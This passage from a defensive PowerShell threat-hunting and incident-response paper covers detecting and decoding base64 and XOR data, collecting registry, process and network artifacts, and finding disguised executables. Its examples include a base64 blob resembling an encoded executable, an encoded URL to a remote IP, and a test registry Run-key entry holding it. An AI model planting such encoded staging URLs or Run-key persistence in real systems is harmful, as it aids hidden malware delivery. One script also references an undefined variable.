sBCQAASAIAAHADAAAAAABVigAAABAAAABgAgAAAEAAABAAAAACAAAFAAAAAAAAAAUAAAAAAAAAAAKAIAAAEAA
DuBAYAAwAAgAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAALwFAHgXAAAAAAAAAAAAAGBjAgAcAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAqMkCAEAAAAAAAAAAAAAAAABgAgACAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAIAAAYC5yZGF0YQAA3oUAAABgAgAAhgAAAEwCAAAAAAAAAAAAAAAAAEAAAEAuZGF0YQAAAOTWAgAA8AIA
ACAAAADSAgAAAAAAAAAAAAAAAABAAADALnJzcmMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
CFZXi3wkFGpAV/8VqGFCAGhwZEIAaFxkQgD/FaxhQgBQ/
```

Alternatively, the contents of the file can be placed in a variable and then use the '-cmatch' operator with the same regex, which returns a Boolean 'True' or 'False' depending on the results:

```
PS C:\> $filecontent = Get-Content .\file.bin
```

```
PS C:\> $filecontent -cmatch '[A-Za-z0-9\+\/]{1024,}[=]{0,2}'
True
```

3.2.4. Encoded Data – Base64

Using regular expressions to hunt for base64 patterns is useful, but caution must be applied if the search-depth criteria is low. Because the padding character '=' is not always present in a base64 encoded value, the regex '**[A-Za-z0-9\+\/][=]{0,2}**' would hit on any string containing a letter, number or one of the two special characters, resulting in a large number of false positives. Increasing the search-depth criteria reduces the chances of false positives. Also, hunters should be cognizant of the locations and sources they search for base64 encoded patterns as many legitimate protocols rely on this technique for transportation purposes, such as SMTP and HTTP protocols (Lion & Yehudai, 2018).

PowerShell has built-in capabilities to decode base64 encoded messages. The following example demonstrates decoding of a base64 string:

```
PS C:\> $encode = "aHR0cDovLzUyLjQ2LjE1Ny4xMTo4MDgwLzEyMzQ1YWJjLnR4dA=="
PS C:\> [System.Text.Encoding]::ascii.GetString([System.Convert]::FromBase64String($encode))

http://52.46.157.11:8080/12345abc.txt
```

It's important to note that there are two data conversions occurring in the above example. The first is converting from a base64 string with **[System.Convert]::FromBase64String** and the second is taking the output from the first conversion and returning the ASCII string of that value with **[System.Text.Encoding]::ascii.GetString**.

The above approach works fine if the ultimate result is all ASCII characters; that may not always be the case, however. Revisiting the **Format-Hex** cmdlet, the analyst has the ability to view the raw contents in hexadecimal form. The following is an example in which the decoded result is not all ASCII printable.

```
PS C:\> $b64msg2 = "EAwMCEJXV01KVkxOVklNT1ZJSUJASEBIVxkLHB4fV0lKS1cZVhIIH3I="
PS C:\> ([System.Convert]::FromBase64String($b64msg2)) | Format-Hex

           Path:

           00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F

00000000   10 0C 0C 08 42 57 57 4D 4A 56 4C 4E 56 49 4D 4F  ....BWWMJVLNVIMO
00000010   56 49 49 42 40 48 40 48 57 19 0B 1C 1E 1F 57 49  VIIB@H@HW.....WI
00000020   4A 4B 57 19 56 12 08 1F 72                       JKW.V...r
```

3.2.5. Encoded Data – XOR

The bitwise operation XOR is another common encoding scheme used by adversaries ("Custom Cryptographic Protocol", 2018). In the event a threat hunter, digital forensic analyst or incident responder suspects the use of XOR and possesses the key to decipher the data, PowerShell's bitwise XOR operator '-bxor' can be used to as follows:

```
PS C:\> $xordByte = 0x78
PS C:\> $key = 0x54
PS C:\> $xordByte -bxor $key
44
```

Which returns the value in the decimal format. To get the results in hexadecimal form, use the format string operation:

```
PS C:\> '{0:X2}' -f ($xordByte -bxor $key)
2C
```

A more realistic scenario would be to iterate through an array of data, one element at a time, performing the XOR operation. Revisiting the example from the previous section and having the knowledge of the hex key **0x78**, the message can be deciphered:

```
PS C:\> $b64msg2_out = ([System.Convert]::FromBase64String($b64msg2))
PS C:\> $a = $b64msg2_out.count
PS C:\> $xorKey = 0x78
PS C:\> $xor_out = for($i=0; $i -le $a; $i++) {$b64msg2_out[$i] -bxor $xorKey}
PS C:\> $xor_out | Format-Hex

           Path:

           00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F

00000000   68 74 74 70 3A 2F 2F 35 32 2E 34 36 2E 31 35 37  http://52.46.157
00000010   2E 31 31 3A 38 30 38 30 2F 61 73 64 66 67 2F 31  .11:8080/asdfg/1
00000020   32 33 2F 61 2E 6A 70 67 0A 78                    23/a.jpg.x
```

Troy Wojewoda, tdwoje@gmail.com

4. Conclusion

Data collection is at the heart of every digital investigation to include an incident response. Both hunting and gathering can serve as extremely useful techniques that ultimately aid the incident responder. Although efforts should be made to automate and centralize this effort, some system artifacts will remain on a given host. Handlers can use these datasets to build baselines or normalize environmental variables. Additionally, the output of a threat hunting engagement can be used to create rules or become building blocks for signature development.

Performing targeted collections with tools like PowerShell, responders can collect granular objects that relate to a given event or series of events. The latest in PowerShell's framework is shown to have a treasure trove of capabilities for incident response team members. Incident handlers and threat hunters alike can leverage this resource to further enrich the information needed to solve complex or compounded problems within their computer networks. Finally, tried and tested techniques can be encapsulated into scripts that teams can use for repetitive data collection and analysis.

5. References

32-bit and 64-bit Application Data in the Registry. (2018, May 30). Retrieved from https://docs.microsoft.com/en-us/windows/desktop/sysinfo/32-bit-and-64-bit-application-data-in-the-registry.

About Regular Expressions. (2017, November 30). Retrieved from https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_regular_expressions?view=powershell-5.1.

Beadle, J. (2018, June 7). *How to Hunt For Security Threats*. Retrieved from https://www.gartner.com/smarterwithgartner/how-to-hunt-for-security-threats/.

Bejtlich, R. (2011, August). *Become a Hunter*. Retrieved from http://docs.media.bitpipe.com/io_24x/io_24618/item_370437/informationsecurity_july_aug2011_final.pdf.

Blender, J. (2013, November 23). *Using Scheduled Tasks and Scheduled Jobs in PowerShell*. Retrieved from https://devblogs.microsoft.com/scripting/using-scheduled-tasks-and-scheduled-jobs-in-powershell/.

Bollinger, J., Enright, B., & Valites, M. (2015). *Crafting the InfoSec Playbook.* Sebastopol, CA: O'Reilly Media, Inc.

Carrier, B. (2005). *File System Forensic Analysis*. Boston, MA: Pearson Education, Inc.

Cruz, M. (2017, June 1). *Security 101: The Rise of Fileless Threats that Abuse PowerShell.* Retrieved from https://www.trendmicro.com/vinfo/pl/security/news/security-technology/security-101-the-rise-of-fileless-threats-that-abuse-powershell.

Custom Cryptographic Protocol. (n.d.). Retrieved from https://attack.mitre.org/techniques/T1024/.

Enterprise Techniques. (n.d.). Retrieved from https://attack.mitre.org/techniques/enterprise/.

FIRST CSIRT Framework. (n.d.). Retrieved from https://www.first.org/education/csirt_service-framework_v1.1.

Ingram, D. (2017, July 31). *Open Source Does Not Mean Free!* Retrieved from http://www.siwel.com/blog/open-source-does-not-mean-free.

Troy Wojewoda, tdwoje@gmail.com

Lion, M. & Yehudai, G. (2018, May 1). *The Catch 22 of Base64: Attacker Dilemma from a Defender Point of View.* Retrieved from https://www.incapsula.com/blog/the-catch-22-of-base64-attacker-dilemma-from-a-defender-point-of-view.html.

Petters, J. (2018, November 11). *What is Group Policy, GPO and Why it Matters for Data Security*. Retrieved from https://www.varonis.com/blog/group-policy/.

PowerShell Core. (2019, February 20). Retrieved from https://github.com/PowerShell/PowerShell.

PowerShell Overview. (2018, August 26). Retrieved from https://docs.microsoft.com/en-us/powershell/scripting/overview?view=powershell-5.1.

Retrieving a WMI Class. (2018, May 30). Retrieved from https://docs.microsoft.com/en-us/windows/desktop/WmiSdk/retrieving-a-class.

Set-ExecutionPolicy. (2018, August 26). Retrieved from https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.security/set-executionpolicy?view=powershell-5.1.

ScheduledTasks. (2017, September 25). Retrieved from https://docs.microsoft.com/en-us/powershell/module/scheduledtasks/?view=win10-ps.

Running Remote Commands. (2018, August 13). Retrieved from https://docs.microsoft.com/en-us/powershell/scripting/learn/remoting/running-remote-commands?view=powershell-5.1.

Windows Management Framework. (2018, June 11). Retrieved from https://docs.microsoft.com/en-us/powershell/wmf/5.1/compatibility.

The Windows PowerShell ISE. (2018, August 13). Retrieved from https://docs.microsoft.com/en-us/powershell/scripting/components/ise/introducing-the-windows-powershell-ise?view=powershell-5.1.

Wueest, C. (2018, July 16). *PowerShell Threats Grow Further and Operate in Plain Sight.* Retrieved from https://www.symantec.com/blogs/threat-intelligence/powershell-threats-grow-further-and-operate-plain-sight.

Troy Wojewoda, tdwoje@gmail.com

Appendix A – Additional Use-Cases

Use-Case 1: Add PowerShell version check to script

Example showing how to manually check the PowerShell version and exit the script if not compatible:

```
## logic to determine if the installed PowerShell is at version 5 or higher
## if it is not running at version 5 or higher, the script will terminate

if ($PSVersionTable.PSVersion.Major -ge 5)
{
    Write-Host("true")
}
else
{
    Write-Host("false")
break
}

```

The above script can also run at the cmd line via an interactive shell:

```
PS C:\>
PS C:\> if ($PSVersionTable.PSVersion.Major -ge 5){Write-Host("true")}else {Write-Host("false"); break}
true
PS C:\>
```

Furthermore, PowerShell provides built-in functionality using the **#Requires** statement:

```
#Requires -Version 5.0

Write-Host("Demonstrating the use of the #Require statement")

```

The **#Requires** statement can be used to ensure other dependencies before executing a script; such as, running as an administrator or requiring specific modules. See reference on the **#Requires** statement for more details ("About Requires", 2018).

Use-Case 2: Collect local accounts and groups on remote computers

This use-case is applicable in scenarios where PS-Remoting is not an option, and thus the **Get-LocalUser** and related cmdlets cannot be used against remote systems.

Collect local user accounts on computer PLABPC:

```
PS C:\> Get-WmiObject -ClassName Win32_UserAccount -ComputerName PLABPC | Select-
Object PSComputerName, Name, Disabled

PSComputerName Name          Disabled
-------------- ----          --------
PLABPC         Administrator False
PLABPC         luser         False
PLABPC         Guest         True
```

Get local groups on computer PLABPC:

```
PS C:\> Get-WmiObject -ClassName Win32_Group -ComputerName PLABPC | Select-Object PSComputerName, Name
```

Alternatively, using the –Query operator:

```
PS C:\> Get-WmiObject -Query "Select * from Win32_Group Where LocalAccount = 'True'" -ComputerName
pLabPC | Select-Object PSComputerName, Name, Description

PSComputerName Name                            Description
-------------- ----                            -----------
PLABPC         Access Control Assistance Operators Members of this group can remotely query...
PLABPC         Administrators                  Administrators have complete and unrestricted ac...
PLABPC         Backup Operators                Backup Operators can override security restric...
PLABPC         Cryptographic Operators         Members are authorized to perform cryptographic...
PLABPC         Distributed COM Users           Members are allowed to launch, activate and use...
PLABPC         Event Log Readers               Members of this group can read event logs from l...
PLABPC         Guests                          Guests have the same access as members of the Us...
PLABPC         Hyper-V Administrators          Members of this group have complete and unres...
PLABPC         IIS_IUSRS                       Built-in group used by Internet Information...
PLABPC         Network Configuration Operators Members in this group can have some administ...
PLABPC         Performance Log Users           Members of this group may schedule logging of...
PLABPC         Performance Monitor Users       Members of this group can access performance c...
PLABPC         Power Users                     Power Users are included for backwards compati...
PLABPC         Remote Desktop Users            Members in this group are granted the right to...
PLABPC         Remote Management Users         Members of this group can access WMI resources o...
PLABPC         Replicator                      Supports file replication in a domain...
PLABPC         System Managed Accounts Group   Members of this group are managed by the system...
PLABPC         Users                           Users are prevented from making accidental...
```

Collect all users and groups from the local Administrators group of computer PLABPC:

```
PS C:\> Get-WmiObject -ComputerName PLABPC -Query "SELECT * FROM Win32_GroupUser WHERE GroupComponent
= `"Win32_Group.Domain='PLABPC',Name='Administrators'`"" | Select-Object PSComputerName, PartComponent

PSComputerName PartComponent
-------------- -------------
PLABPC         \\PLABPC\root\cimv2:Win32_Group.Domain="plab",Name="Moar_Admins"
PLABPC         \\PLABPC\root\cimv2:Win32_UserAccount.Domain="PLABPC",Name="luser"
```

Troy Wojewoda, tdwoje@gmail.com

Use-Case 3: List Hotfixes installed following the latest reboot

The following example shows how to list any hotfixes that were installed after the latest reboot. This technique can be useful to find systems that may have received critical patches but have not yet gone through a reboot cycle.

```
PS C:\> $lastboot = (Get-CimInstance -ClassName Win32_OperatingSystem).LastBootUpTime
PS C:\> $lastboot

Wednesday, February 20, 2019 3:00:10 PM


PS C:\> Get-HotFix | where InstalledOn -gt ($lastboot)

Source        Description      HotFixID      InstalledBy          InstalledOn
------        -----------      --------      -----------          -----------
PLABPC        Security Update  KB4487038     NT AUTHORITY\SYSTEM 2/22/2019 12:00:00 AM
PLABPC        Security Update  KB4487026     NT AUTHORITY\SYSTEM 2/21/2019 12:00:00 AM
```

Use-Case 4: Get Services where a condition applies

Collect Services that are set to run **Automatic**:

```
PS C:\> Get-Service | Select-Object Name, DisplayName, Status, StartType | where StartType -eq "Automatic"
```

Collect Services that are currently **Running:**

```
PS C:\> Get-Service | Select-Object Name, DisplayName, Status, StartType | where Status -eq "Running"
```

Use-Case 5: Registry Analysis

Collect items under the Run key for HKEY_CURRENT_USER:

```
PS C:\> Get-ItemProperty "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\"
```

Collect items under the Run key for HKEY_LOCAL_MACHINE:

```
PS C:\> Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\"
```

Recently Opened documents (last 150):

```
PS C:\> Get-ItemProperty "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs\"
```

The above command will return the items under the RecentDocs key, but not in human-readable format. Therefore, the **Format-Hex** cmdlet can be used:

```
PS C:\> (Get-ItemProperty
"HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs\").133 | Format-
Hex
           Path:

           00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F

00000000   74 00 65 00 73 00 74 00 5F 00 64 00 6F 00 63 00  t.e.s.t._.d.o.c.
00000010   2E 00 64 00 6F 00 63 00 78 00 00 00 74 00 32 00  ..d.o.c.x...t.2.
00000020   00 00 00 00 00 00 00 00 00 00 74 65 73 74 5F 64  ..........test_d
00000030   6F 63 2E 64 6F 63 78 2E 6C 6E 6B 00 54 00 09 00  oc.docx.lnk.T...
00000040   04 00 EF BE 00 00 00 00 00 00 00 00 2E 00 00 00  ..ï¾............
00000050   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000060   00 00 00 00 00 00 00 00 00 00 74 00 65 00 73 00  ..........t.e.s.
00000070   74 00 5F 00 64 00 6F 00 63 00 2E 00 64 00 6F 00  t._.d.o.c...d.o.
00000080   63 00 78 00 2E 00 6C 00 6E 00 6B 00 00 00 20 00  c.x...l.n.k... .
00000090   00 00
```

View Network Shares/mount points:

```
PS C:\> Get-ChildItem
"HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\" | Select-
Object PSChildName

PSChildName
-----------
##10.100.16.145#c$
##10.10.50.96#c$
##10.10.50.96#i$
##10.10.50.96#u$
##10.10.50.97#c$
##10.10.50.97#l$
```

In PowerShell, some Registry hives can be connected to as a mountable drive. Navigating the registry is equivalent to navigating a directory structure. Connecting to a registry hive and navigating to a specific key:

```
PS C:\> cd hkcu:
PS HKCU:\>
PS HKCU:\> cd '.\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\'
PS HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\>
PS HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\> ls


    Hive: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run


Name                   Property
----                   --------
test                   myvalue : aHR0cDovLzUyLjQ2LjE1Ny4xMTo4MDgwLzEyMzQ1YWJjLnR4dA==
                       mybin   : {222, 173, 190, 239}
```

The **Get-Item** and **Get-ItemProperty** cmdlets can be used as well:

```
PS HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\run> Get-ItemProperty .\test\

myvalue      : aHR0cDovLzUyLjQ2LjE1Ny4xMTo4MDgwLzEyMzQ1YWJjLnR4dA==
mybin        : {222, 173, 190, 239}
PSPath       : Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\SOFTWARE\Mi...
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\SOFTWARE\Mi...
PSChildName  : test
PSDrive      : HKCU
PSProvider   : Microsoft.PowerShell.Core\Registry
```

Troy Wojewoda, tdwoje@gmail.com

Use-Case 6: List parent/child processes and relationships

```
$runningProcesses = Get-CimInstance -ClassName Win32_Process | `
Select-Object CreationDate, ProcessName, ProcessID, CommandLine, ParentProcessId

for($i=0;$i -le $runningProcesses.count; $i++)
{

$runningProcesses[$i]

Write-Host("Parent:")`
(Get-CimInstance -ClassName Win32_Process | where ProcessID -eq $runningProcesses[$i].ParentProcessId).ProcessName
Write-Host("Parent CmdLine:")`
(Get-CimInstance -ClassName Win32_Process | where ProcessID -eq $runningProcesses[$i].ParentProcessId).CommandLine
Write-Host("--------------------")
}
```

Use-Case 7: Collect all network connections with their respective processes and process command-line arguments

TCP Connections:

```
$TCPConns = Get-NetTCPConnection | `
Select-Object CreationTime, LocalAddress, LocalPort, RemoteAddres, RemotePort, OwningProcess, State


for($i=0;$i -le $TCPConns.count; $i++)
{

$TCPConns[$i]

Write-Host("Process:")`
(Get-CimInstance -ClassName Win32_Process | where ProcessID -eq $TCPConns[$i].OwningProcess).ProcessName
Write-Host("CmdLine:")`
(Get-CimInstance -ClassName Win32_Process | where ProcessID -eq $TCPConns[$i].OwningProcess).CommandLine
Write-Host("--------------------")
}
```

UDP Connections:

```
$UDPConns = Get-NetUDPEndpoint | `
Select-Object CreationTime, LocalAddress, LocalPort, RemoteAddres, RemotePort, OwningProcess, State


for($i=0;$i -le $UDPConns.count; $i++)
{

$UDPConns[$i]

Write-Host("Process:")`
(Get-CimInstance -ClassName Win32_Process | where ProcessID -eq $UDPConns[$i].OwningProcess).ProcessName
Write-Host("CmdLine:")`
(Get-CimInstance -ClassName Win32_Process | where ProcessID -eq $UDPConns[$i].OwningProcess).CommandLine
Write-Host("--------------------")
}
```

Troy Wojewoda, tdwoje@gmail.com

Use-Case 8: Detect executable files with unexpected file extensions

Traverse a given directory and output any files that contain the magic-bytes of a Windows executable when the extension is not .exe, .dll, etc.

```powershell
#add extensions here to ignore (i.e whitelist)
$ignore_extensions = '.exe','.dll'

#grab all items in the current directory
$mylisting = Get-ItemProperty *
Write-Host("Number of files/folders:")$mylisting.count
$count_suspect = 0
for($i=0;$i -lt $mylisting.count; $i++)
{
    #for each item in the listing: ensure the item is not a directory and not an ignored extension
    if( (Test-Path $mylisting[$i] -PathType Leaf) -and ($mylisting[$i].extension -notin $ignore_extensions) )
    {

        $magicBytes = '{0:X2}' -f (Get-Content $myfiles[$i] -Encoding Byte -ReadCount 4)
        if($magicBytes -eq '4D 5A 90 00')
        {
            write-host("Found atypical file:")$myfiles[$i]
            $count_suspect++
        }
    }
}
Write-Host("Number of suspect files found:")$count_suspect
```

```
PS C:\> .\scripts\find_magic.ps1

Number of files/folders: 27
Found atypical file: C:\ps.txt
Found atypical file: C:\PsExec.exe.txt

Number of suspect files found: 2
```

Troy Wojewoda, tdwoje@gmail.com